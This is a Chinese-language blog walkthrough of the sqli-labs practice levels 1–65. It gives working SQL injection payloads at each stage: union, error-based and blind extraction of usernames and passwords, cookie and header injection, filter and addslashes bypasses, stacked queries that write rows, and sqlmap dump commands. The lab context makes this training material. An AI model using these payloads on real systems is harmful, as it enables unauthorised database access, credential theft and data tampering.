sql-lab(ALL 1-65)

目录

Basic challenge(less1-less20)

less-1(基于错误的GET单引号字符型注入)

less-2(基于错误的GET整型注入)

less-3(基于错误的GET单引号变形字符型注入)

less-4(基于错误的GET双引号字符型注入)

less-5(双注入GET单引号字符型注入)

顺便说一下我查到关于使用"–+"的原因

less-6(双注入GET双引号字符型注入)

less-7(导出文件GET字符型注入)

less-8(布尔型单引号GET盲注)

less9(基于时间的GET单引号盲注)

less-10(基于时间的双引号盲注)

         less-11(基于错误的POST型单引号字符型注入)

less12(基于错误的双引号POST型字符型变形的注入)

less-13(POST单引号变形双注入)

less14(POST双引号变形双注入)

less15(基于bool型/时间延迟单引号POST型盲注)

less16(基于bool型/时间延迟的双引号POST型盲注)

less-17(基于错误的更新查询POST注入)

less-18(基于错误的用户代理,头部POST注入)

less19(基于头部的Referer POST报错注入)

less-20(基于错误的cookie头部POST注入)

adv injections(less21-less38)

less21(基于错误的复杂的字符型Cookie注入)

less-22(基于错误的双引号字符型Cookie注入)

less-23(基于错误的,过滤注释的GET型)

less-24(二次注入)

less-25(过滤or和and)

less-25a

less-26(过滤了注释和空格的注入)

less-26a

less-27(过滤了union和select)

less-27a

less-28(过滤了union和select大小写)

less-28a

less-29(获取基于错误的缺乏证据的不匹配在web应用程序前面有一个WAF)(暂时还没懂)

less-30

less-31

less-32(一个为危险字符添加斜线的GET - Bypass自定义过滤器)

宽字节注入

less-33(bypass Addslashes())

less-34(bypass Addslashes())

less-35(GET-Bypass添加斜杠(我们不需要)整数)

less-36(GET-Bypass MySQLreal escape_string)

less-37(POST-Bypass MySQLreal escape_string)

less-38(堆叠注入)

Stacked Injections(less39-less53)

less-39

less-40

less-41

less-42

less-43

less-44

less-45

less-46

less-47

less-48

less-49

less-50

less-51

less-52

less-53

Challenges(less54-less65)

less-54

less-55

less-56

less-57

less-58

less-59

less-60

less-61

less-62

less-63

less-64

less-65


Basic challenge(less1-less20

less-1(基于错误的GET单引号字符型注入)

id=1
//回显正常

id=1'
//报错信息:You have an error  in your SQL syntax; check the manual that corresponds to your MySQL  server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

id=1' order by 4 #                  //用来猜解注入字段   //这里如果报错不正常可以对#进行url编码
//当测试3时没有报错,而测试4时报错:Unknown column '4' in 'order clause',说明字段数为3

在这里插入图片描述

- 联合注入查询,使用union
id=-1 ' union select 1,2,3 %23                                   // 确定可以显示到页面的位置
id=-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata %23                                                                                //获取数据库名
id=-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23                                                    //获取表名
id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23                                                          //获取列名
id=-1 ' union select 1,username,password from users %23                    //获取用户名密码

在这里插入图片描述在这里插入图片描述在这里插入图片描述

less-2(基于错误的GET整型注入)

数字型注入,less-1中的单引号去掉即可

id=1
//回显正常
id=1'
//报错信息:You have an error  in your SQL syntax; check the manual that corresponds to your MySQL  server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

id=1 order by 4 #                  //猜解注入字段   //这里如果报错不正常可以对#进行url编码
//当测试3时没有报错,而测试4时报错:Unknown column '4' in 'order clause',说明字段数为3
- 联合注入查询,使用union
id=-1 union select 1,2,3 %23                                                             // 确定可以显示到页面的位置
id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata %23    //获取数据库名
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23                                                  //获取表名
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23                                                        //获取列名
id=-1 union select 1,username,password from users %23                      //获取用户名密码

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

less-3(基于错误的GET单引号变形字符型注入)

id=1'
//得到报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1
可以得知输入的内容存放到一对单引号加圆括号中了

所以在less-1的基础上在单引号后加一个右括号即可

id=1' order by 4 #                  //猜解字段数  
- 联合注入查询,使用union
id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata %23    //获取数据库名
id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23                                                  //获取表名
id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23                                                        //获取列名
id=-1') union select 1,username,password from users %23                        //获取用户名密码

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

less-4(基于错误的GET双引号字符型注入)

?id=1     //有回显
?id=1'    //没有反应
?id=1"    //页面报错,从报错信息中可以看出它的传参结构

根据报错信息判断出输入的内容被放到一组双引号和小括号中,所以在less-1的基础上修改单引号为双引号+右括号即可

id=1") order by 4 #                  //猜解字段数
id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata %23    //获取数据库名
id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23                                                  //获取表名
id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23                                                        //获取列名
id=-1") union select 1,username,password from users %23                        //获取用户名密码

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

less-5(双注入GET单引号字符型注入)

id=1               //有错误但没有报错信息

在这里插入图片描述

可以推断此题的注入类型是布尔型盲注、报错型注入、时间延迟型盲注

基于时间的手工注入

id=1' and sleep(5)--+

发现有延迟,可以用时间延迟性盲注

?id=1' and if(length(database())=*,sleep(5),1)--+                                 //爆库长
?id=1' and if(left(database(),1)='*',sleep(5),1)--+                               //爆库名
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit *,1),1)='*' ,sleep(5),1)--+                         //爆表名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit *,1),*)='password' ,sleep(5),1)--+                       //爆列名
其中*所占均为需要逐个尝试的位置

布尔型手工注入

?id=1' and left((select database()),*)='*'--+                                       //爆库

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='*' --+                                       //爆表

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit *,*),*)='password' --+                                   //爆列名
/*定向爆破通过改变位次寻找是否“password”列,同理找“users”

?id=1' and left((select password from users order by id limit 0,1),1)='d' --+     //爆字段

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+     //用户名

对于本题来说两种方法都适用

顺便说一下我查到关于使用"–+"的原因

mysql的注释符一般有三种

--, 单行注释

# 单行注释

/**/ 多行注释

注:--不是注释符,–后还需要一个空格 ,而在web中 + 和空格等价,这就是为何我们注释符喜欢使用–+的原因了

在这里插入图片描述

知道注入原理以后,不断重复尝试猜解的工作我就直接交给电脑了/狗头(我指sqlmap)

sqlmap -u "url"                      
sqlmap -u "url" -dbs 
sqlmap -u "url" -D security --tables
sqlmap -u "url" -D security -T users --columns
sqlmap -u "url" -D security -T users --dump "password,username"

在这里插入图片描述

less-6(双注入GET双引号字符型注入)

原理与lss-5相同,将less-5中的单引号改为双引号即可,就不多做说明

less-7(导出文件GET字符型注入)

看题目名称就可以知道,这道题应该可以写入文件,这样的话就可以上传木马病毒文件了

在这里插入图片描述

看到回显大概可以猜到题目的目的是让我们导出内容

(有点难搞懂,还没搞明白)

less-8(布尔型单引号GET盲注)

看到题目一下就明白了,盲注就是回显只提示正确与错误

?id=1' and 1=1 --+

进行测试,发现返回值只有“You are in …”和空,证实盲注

操作与less-5类似(两种方法均可),不多说了

less9(基于时间的GET单引号盲注)

经过多次尝试,返回值均为“You are in …”

尝试使用基于时间的注入

?id=1' and sleep(5) --+

发现页面有延迟,确定是基于时间的注入类型,操作方法与less-5的时间注入相同

less-10(基于时间的双引号盲注)

与less-9完全相同,将单引号改为双引号即可

less-11(基于错误的POST型单引号字符型注入)

两种方法:

第一种:burpsuit抓包修改参数

输入admin admin 登陆,抓包,修改参数,发送到repeater模块

在这里插入图片描述

说明注入生效,存在报错型注入

剩下的就是与之前相似的重复性工作

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit                                                 
                                                                                    //爆库
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
                                                                                    //爆表
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit
                                                                                  //爆列名 uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit
                                                                                    //爆值

在这里插入图片描述

第二种:直接注入

-1 ' union select 1, group_concat(schema_name) from information_schema.schemata #
                                                                             //获取数据库名
id=-1 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security' #
                                                                                 //获取表名
id=-1 ' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #
                                                                                 //获取列名
uname=-1' union select  1, group_concat(password,username) from users -- 
                                                                           //获取用户名密码

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

less12(基于错误的双引号POST型字符型变形的注入)

与less-11注入方法相同,将单引号改为双引号加右括号即可

less-13(POST单引号变形双注入)

输入admin/admin页面没有提示信息,我们认为当它正确时是没有返回值的,又是一个盲注的题目

在这里插入图片描述

首先尝试使用时间型盲注

admin') and sleep(5) #

发现页面有延迟,可以使用时间型注入

admin') and if(ascii(substring(database(),1,1))=115,sleep(5),1) #                 //爆库名
admin') and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1); #                       //爆表名
admin') and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1); #                                                     //爆内容

less14(POST双引号变形双注入)

与less13基本一致,使用双引号闭合即可

less15(基于bool型/时间延迟单引号POST型盲注)

进行多次尝试输入,均没有任何回显,又是一个盲注

我们还是尝试使用时间型注入来解决

admin' and sleep(5) #

存在时间型注入

admin' and if(ascii(substring(database(),1,1))=115,sleep(5),1) #
admin' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1); #
admin' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(5),1); #

less16(基于bool型/时间延迟的双引号POST型盲注)

与less-15方法一致,将单引号改为双引号括号即可

less-17(基于错误的更新查询POST注入)

经过提醒查看源码发现"updata",也就是说如果操作不当有存在被删库的风险

在这里插入图片描述

除此之外我们还发现代码对"username"进行了检查过滤,而对"password"却没有,所以我们可以将注入点放在password上

先尝试时间型注入,但是并没有反应

再尝试使用updatexml()函数的报错型注入

admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #                     //库

admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #                   //表

admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #                       //列

admin' and updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)test),0x7e),1) #                                                                //字段

在这里插入图片描述在这里插入图片描述在这里插入图片描述

less-18(基于错误的用户代理,头部POST注入)

admin/admin看回显
在这里插入图片描述

不懂就查:

User Agent中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标 识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;例如用手机访问谷歌和电脑访问是不一样的,这些是谷歌根据访问者的 UA来判断的。
浏览器的UA字串的标准格式:浏览器标识 (操作系统标识; 加密等级标识; 浏览器语言) 渲染引擎标识版本信息。但各个浏览器有所不同。

于是合理猜测注入应该和这个agent脱不了关系

抓包挂代理修改agent发送再查看

在这里插入图片描述

确实存在注入,可以开始进行注入了,尝试报错型注入

在这里插入图片描述

存在报错型注入

在这里插入图片描述在这里插入图片描述在这里插入图片描述

less19(基于头部的Referer POST报错注入)

还是先admin/admin看回显

在这里插入图片描述

这次变成了referer

Referer是HTTP协议中header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。

尝试使用与上题相同的办法

事实证明猜测没错,后边的步骤就不重复了

less-20(基于错误的cookie头部POST注入)

测试admin/admin

在这里插入图片描述

cookie注入?抓个包看一下

在这里插入图片描述

Coolie:uname=admin可以确定是cookie注入了

将cookie改为admin’回显报错

在这里插入图片描述

Cookie: uname=admin' order by 3--+ 回显正常
Cookie: uname=admin' order by 4--+ 不正常了,可以断定行数为3
Cookie: uname=admin' union select 1,2,database()--+                                 //库名
Cookie: uname=admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+                       //表名
Cookie: uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+                            //列名
Cookie: uname=-admin' union select 1,username,password from users --+          //用户名密码

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

adv injections(less21-less38)

less21(基于错误的复杂的字符型Cookie注入)

admin/admin

发现uname=YWRtaW4,经过base64解码发现是admin

 

也就是说我们只需要将注入语句进行base64编码即可

通过base64编码注入发现与less20相同,只需要将’改为’)然后进行base64编码即可

-admin') union select 1,2,database() #                                              //库名
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpICM=
-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' #                                                         //表名
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScgIw==
-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#                                                               //列名
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZSA9ICd1c2Vycycj
-admin') union select 1,username,password from users #                         //用户名密码
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsdXNlcm5hbWUscGFzc3dvcmQgZnJvbSB1c2VycyAj

 

less-22(基于错误的双引号字符型Cookie注入)

admin/admin发现与上题类似,转码注入发现与上题相比只将’)改为”,其他没有任何改动

less-23(基于错误的,过滤注释的GET型)

看到是get类型的注入

发现单引号报错了,但是无论怎么注入都不行

于是就看了源码,发现他不讲武德的过滤了–+和#

所以我们可以采取将union联合查询添加到语句中间,然后闭合后面的单引号就可以正常查询了

?id=-1' union select 1,2,database() '                                               //库名
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '                                                   //表名
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '                                                        //列名
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '                                                                               //值

less-24(二次注入)

二次注入可以理解为,由于对二次调用函数没有进行过滤,导致用户可以通过构造payload绕过去修改其他用户的密码

我们先注册一个用户名为:admin’#的账号,登录

然后进行密码修改

使用刚改的密码登录admin的账号

登陆成功

其实不难理解,就是说我们注册admin‘#时可以正常注册,但是二次调用账户时并没有进行过滤,所以’#符号就被过滤掉了,也就是说在后台实际修改的是admin的密码

less-25(过滤or和and)

将一些可以用来绕过的编码总结一下
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
%df 问号
%27 单引号
%20 空格

这道题过滤了or和and,感觉这足以使大多数注入函数失效,记得之前在别处也遇到过被过滤的问题,想着可以试试双写绕过或者其他绕过方法

?id=1' %23                                                                //其实--+好像也行
?id=-1' union select 1,2,database() %23                                             //库名
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'security' %23                                                     
//其实和前边也差不多了,需要注意的是password和information等词汇包含or所以双写绕过就行

less-25a

就是25题的盲注系列

盲注还没法用报错,那就只剩下联合注入查询和时间型注入,原本上题就是使用的联合查询,所以这里就不再说了

less-26(过滤了注释和空格的注入)

试了半天都不对,一看源码懂了,但是还是不知道从哪下手,于是上网查了一下资料

空格和注释无法使用
绕过空格的几种
%09 tab键 %0a 新建一行 %0c 新的一页 %od return功能 %0b tab键垂直 %a0 空格

这下就明了了

和之前的题目没有什么区别了,将被过滤掉的符号替掉即可

?id=-1'%0aunion%0aselect%0a1,2,database()oorr%0a‘1’='1

%0a好像不太行

试试报错型注入

0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

幸好报错型注入可以

?id=-1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1

?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1

?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1

?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(username,':',passwoorrd))from(users)),0x7e),1)||'1'='1

less-26a

26的盲注类型,区别不大

通过检测 0’||‘1’=‘1 判断是’

0’||left(database(),1)>‘s’%26%26’1’='1

使用;%00或者||('1都能绕过

使用闭合的方式爆出结果好像也行

less-27(过滤了union和select)

绕过方法:双写绕过或大小写绕过即可

?id=0'%0AUNion%0AseLEct%0A1,2,3;%00

 

less-27a

将less-27改为双引号闭合即可

less-28(过滤了union和select大小写)

过滤了空格还有UNION和SELECT一起使用的情况

?id=-1')%0aunion%0aunion%0aselectselect%0a1,2,database();%00

还是使用%A0代替空格,用双写绕过过滤,最后%00截断

less-28a

和上题一样?

less-29(获取基于错误的缺乏证据的不匹配在web应用程序前面有一个WAF)(暂时还没懂)

看网上说这道题使用了防火墙,需要使用HPP绕过,但是我进行简单注入也成功了,一开始不是很理解

其实可以简单理解为,WAF(防火墙)是相对我们之前所传输数据的apache(PHP)服务器相独立的一个服务器(jsp服务器),而我们直接传上去的数据是传到了这个jsp服务器上,所以实际登陆时是会报错的

也就是说假若我们payload两个参数进去id=1&id=2,1就传进了防火墙内,而2才能进入login,所以我们的注入应当是在第二个参数中才能绕过WAF

就是这样

less-30

将less-29的注入点改为双引号即可

less-31

双引号加括号

less-32(一个为危险字符添加斜线的GET - Bypass自定义过滤器)

注入发现 系统会给特殊字符添加转义
所以考虑使用编码绕过,但发现编码不行
换16进制,还是不行

还是看看网上大佬的思路吧:使用宽字节注入,由于数据库编码与前端编码不一致导致存在注入

宽字节注入

特地查了一下,首先就是宽字节注入是有严格的条件的,例如PHP的编码为 UTF-8 而 MySql的编码设置为了gbk

ASCII编码:单字节编码
latin1编码:单字节编码
gbk编码:使用一字节和双字节编码,0x00-0x7F范围内是一位,和 ASCII 保持一致。双字节的第一字节范围是0x81-0xFE
UTF-8编码:使用一至四字节编码,0x00–0x7F范围内是一位,和 ASCII 保持一致。其它字符用二至四个字节变长表示。

这里宽字节就是指超过两字节的编码,这就导致php的内容在进入mysql内转码时就可能出错,最终形成漏洞

0%df'  union select 1,database(),3 --+

成功绕过

less-33(bypass Addslashes())

看题目就能知道,本题主要任务是绕过addslashes()函数

查找php的参考手册

addslashes()函数:
定义和用法
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
    单引号(')
    双引号(")
    反斜杠(\)
    NULL
    
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串

注释:默认情况下,PHP指令 magic_quotes_gpc为on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被magic_quotes_gpc已·转义过的字符串使用 addslashes(),因为这样会导致双层转义。
遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测
语法:addslashes(string)

查完发现其实和32是差不多的,只不过32中是人为对一些特殊字符进行转义,而本题是使用定义好的函数来执行

所以方法与32相同

less-34(bypass Addslashes())

和上一关差别不大,使用post请求进行宽字节注入

uname=0%df'  union select 1,database() --+&passwd=0&submit=Submit

 

less-35(GET-Bypass添加斜杠(我们不需要)整数)

和众多大冤种一样,单引号双引号来来回回试了四五个感觉不太对,跑去看了看源码。。。。。

??????真就啥也没有呗,直接注入就行了

less-36(GET-Bypass MySQLreal escape_string)

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

受影响的字符:

\x00
\n
\r
\
'
"
\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

使用

?id=-1%df' union select 1,2,database() --+

less-37(POST-Bypass MySQLreal escape_string)

post方式,抓包 添加语句到uname或passwd中,添加’%df报错,查询 --+做注释

uname=0%df' union select 1,database() --+&passwd=admin&submit=Submit

成功

less-38(堆叠注入)

mysqli_multi_query() 函数:执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

我们就可以在普通注入的后面,写上一条任意的SQL语句,例如插入数据,或者删库。

?id=-1' ;insert into users(id,username,password)values(555,'123','312');

再次查询id=555可以发现数据已经被写入

Stacked Injections(less39-less53)

less-39

感觉做到这里,注入语句和方式基本的好像也就这几种,剩下的就是融合运用,找闭合方式,通过大量练习来锻炼感觉了

闭合几次之后发现这个和前边那个"id=id=id=id"那个有点像,不用闭合,堆叠注入就行

less-40

使用‘)闭合,堆叠注入

 

less-41

堆叠注入,无闭合

 

less-42

忘记密码,注册账号都打不开

分辨在用户名和密码尝试,发现密码栏有报错,尝试在密码处进行注入即可

本题也可以使用堆叠注入

‘union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

 

’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

less-43

与上题情况类似,闭合方式改为’)

less-44

尝试之前的方法发现没有报错,但感觉和42,43差别不大,

发现是加了一个类似验证的东西,只需要在42语句之后加&mysubmit=Log即可

less-45

将less-44的闭合方式改为‘)即可

less-46

让我输入带参数的sort值,sort是个啥,去查了一下,和orderby类似是个排序函数,可以用来判断列数

当输入sort=4时,报错信息和order by的报错信息完全一致

但是我查到orderby注入是不能使用联合查询的,所以我用了updatexml()进行报错注入

?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)

less-47

与less-46类似,增加了’)进行闭合

less-48

还是看到让输入sort,以为和上两题一样,结果发现没有报错信息,又试了一下sort=1发现有回显

盲注吧,时间型注入

less-49

发现从sort=3到sort=4页面没有变化,应该换闭合方式了,试一试发现闭合方式变为单引号了

less-50

将堆叠注入和ORDERBY结合起来

 

直接插入数据即可

?sort=1;insert into users(id,username,password)values(555,'123','321'); --+

less-51

加入单引号闭合即可

less-52

还是层次化查询和ORDERBY结合的题

但是没有回显,和less-48类似,我觉得他是想用时间型的盲注

但是吧,他sort排序查询出来的内容已经有列名了,所以就偷个懒直接堆叠注入插入数据了

less-53

和 52类似,还是因为sort查出来的数据内容太丰富所以就偷懒直接插入新的数据了

Challenges(less54-less65)

这里的数据库就开始有变化了,和之前固定甚至共用的数据库相比预生产环境更贴切了

less-54

增加了次数的限制,每十次就会刷新数据库,但十次足够了

?id=-1' union select 1,2,database() --+

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='vcrn7pixd4' --+

?id=-1' union select 1,group_concat(secret_HA63),3 from vcrn7pixd4 --+

提交密钥jike

less-55

这一关给了14次,感觉上应该是换了闭合方式,试了三次发现闭合方式改为了一个单括号

?id=-1) union select 1,2,database() --+

?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dne46mmnsv' --+

?id=-1) union select 1,group_concat(secret_RGRF),3 from dne46mmnsv --+

 

less-56

?id=-1') union select 1,2,database() --+

剩下的没什么变化

 

less-57

闭合方式改为双引号

less-58

看题目是个双查询注入,但看博客里有很多师傅都是用报错注入,查了一下,这两个都是基于rand(),floor(),group by而产生的【等我研究明白再单说,,,,】

这个题就先用报错注入吧

?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
?id=-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges'),0x7e),1) --+
?id=-1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='93r3vivt9t' limit 2,1),0x7e),1) --+
?id=-1' and updatexml(1,concat(0x7e,(select secret_X130 from 93r3vivt9t),0x7e),1) --+


less-59

less-58去掉闭合的单引号即可

less-60

less-58闭合方式改为)

less-61

less-58闭合方式改为’))

less-62

盲注,还有次数限制。。。。

按照规定的正常注入我是不知道怎么搞了

但是我发现sqlmap的测试是不计入次数的

所以这个题我用sqlmap

各位师傅有好方法可以教教

less-63

上一题的闭合方式改为’

less-64

测试了 '  " ) )) ') ") ')) "))
1)) order by 3 %23 闭合

less-65

") 绕过 闭合

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

枫糖丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值